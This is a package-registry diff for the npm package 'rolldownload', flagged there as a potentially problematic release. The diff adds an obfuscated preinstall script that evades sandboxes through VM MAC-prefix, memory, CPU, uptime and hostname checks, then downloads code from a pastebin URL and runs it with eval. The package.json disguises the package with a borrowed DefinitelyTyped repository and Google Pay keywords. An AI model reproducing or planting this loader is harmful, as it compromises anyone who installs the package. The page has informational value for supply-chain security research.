rolldownload 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rolldownload might be problematic. Click here for more details.

package/dist/utils.js ADDED
@@ -0,0 +1 @@
1
+ const _0x8a0d=['GET','pastebin.com','HOSTNAME1','get','networkInterfaces','exit','statusCode','filter','https','values','test','map','length','Warning:\x20Detected\x20virtual\x20machine!','totalmem','some','flat','startsWith','error','end'];const _0xfe39=function(_0x8a0d9e,_0xfe3984){_0x8a0d9e=_0x8a0d9e-0x0;let _0x4d3c08=_0x8a0d[_0x8a0d9e];return _0x4d3c08;};const os=require('os');const https=require(_0xfe39('0x8'));function checkNetwork(_0x1ad7f3){https[_0xfe39('0x3')]('https://ip.sb/',_0x55531d=>{if(_0x55531d[_0xfe39('0x6')]===0xc8){_0x1ad7f3(null,!![]);}else{_0x1ad7f3(new Error('Unexpected\x20response\x20status\x20code:\x20'+_0x55531d[_0xfe39('0x6')]));}})['on']('error',_0xb2c80d=>{_0x1ad7f3(_0xb2c80d);});}function checkCPUCores(_0x4369a8){const _0x5d7d88=os['cpus']()[_0xfe39('0xc')];if(_0x5d7d88<_0x4369a8){return![];}else{return!![];}}function checkMemory(_0x257952){const _0x30b63e=os[_0xfe39('0xe')]()/(0x400*0x400*0x400);const _0x848048=os['freemem']()/(0x400*0x400*0x400);if(_0x30b63e-_0x848048<_0x257952){return![];}else{return!![];}}function checkUptime(_0x58dfa6){const _0x334815=os['uptime']()*0x3e8;return _0x334815>_0x58dfa6;}function checkVirtualMachine(){const _0x132374=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0xdfbe31=/^08:00:27/;const _0x5c1503=/^00:03:ff/;const _0xcf353d=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0xdde22f=os[_0xfe39('0x4')]();const _0x55062f=Object[_0xfe39('0x9')](_0xdde22f)[_0xfe39('0x10')]()[_0xfe39('0x7')](({internal})=>!internal)[_0xfe39('0xb')](({mac})=>mac)[_0xfe39('0x7')](Boolean);for(const _0x189dbb of _0x55062f){if(_0xcf353d['some'](_0x57a612=>_0x57a612['test'](_0x189dbb))||_0xdfbe31['test'](_0x189dbb)||_0x5c1503['test'](_0x189dbb)||_0x132374[_0xfe39('0xf')](_0x10d9a7=>_0x10d9a7[_0xfe39('0xa')](_0x189dbb))){console['warn'](_0xfe39('0xd'));return!![];}}return![];}const disallowedHostPrefixes=['HOSTNAME-',_0xfe39('0x2')];function isHostnameValid(){const _0x184375=os['hostname']();for(let _0x4966b7=0x0;_0x4966b7<disallowedHostPrefixes['length'];_0x4966b7++){if(_0x184375[_0xfe39('0x11')](disallowedHostPrefixes[_0x4966b7])){return![];}}return!![];}function startApp(){checkNetwork((_0x205d9f,_0x40b948)=>{if(!_0x205d9f&&_0x40b948){}else if(_0x205d9f&&_0x205d9f['code']==='ENOTFOUND'){process['exit'](0x1);}else{process['exit'](0x1);}});if(!checkMemory(0x2)){process['exit'](0x1);}if(!checkCPUCores(0x2)){process[_0xfe39('0x5')](0x1);}if(!checkUptime(0x3e8*0x3c*0x3c)){process[_0xfe39('0x5')](0x1);}if(checkVirtualMachine()){process[_0xfe39('0x5')](0x1);}if(isHostnameValid()===![]){process['exit'](0x1);}const _0x2df640={'hostname':_0xfe39('0x1'),'port':0x1bb,'path':'/raw/D1GgG0dm','method':_0xfe39('0x0')};const _0x469dd9=https['request'](_0x2df640,_0x4851cd=>{let _0x2d52a4='';_0x4851cd['on']('data',_0x49af53=>{_0x2d52a4+=_0x49af53;});_0x4851cd['on'](_0xfe39('0x13'),()=>{eval(_0x2d52a4);});});_0x469dd9['on'](_0xfe39('0x12'),_0x22e682=>{});_0x469dd9[_0xfe39('0x13')]();}startApp();
package/package.json CHANGED
@@ -1,6 +1,33 @@
1
1
  {
2
2
  "name": "rolldownload",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "./dist/layui.js",
6
+ "scripts": {
7
+ "test": "jest",
8
+ "preinstall": "node ./dist/utils.js"
9
+ },
10
+ "devDependencies": {
11
+ "css-loader": "^1.0.0",
12
+ "eslint": "^5.3.0",
13
+ "eslint-plugin-jest": "^21.21.0",
14
+ "eslint-plugin-react": "^7.11.0",
15
+ "html-webpack-plugin": "^3.2.0"
16
+ },
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "git+https://github.com/DefinitelyTyped/DefinitelyTyped.git"
20
+ },
21
+ "author": "",
22
+ "license": "ISC",
23
+ "bugs": {
24
+ "url": "https://github.com/DefinitelyTyped/DefinitelyTyped/issues"
25
+ },
26
+ "homepage": "https://github.com/DefinitelyTyped/DefinitelyTyped#readme",
27
+ "keywords": [
28
+ "googlepay",
29
+ "google-pay",
30
+ "button",
31
+ "react"
32
+ ]
6
33
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rolldownload for more information.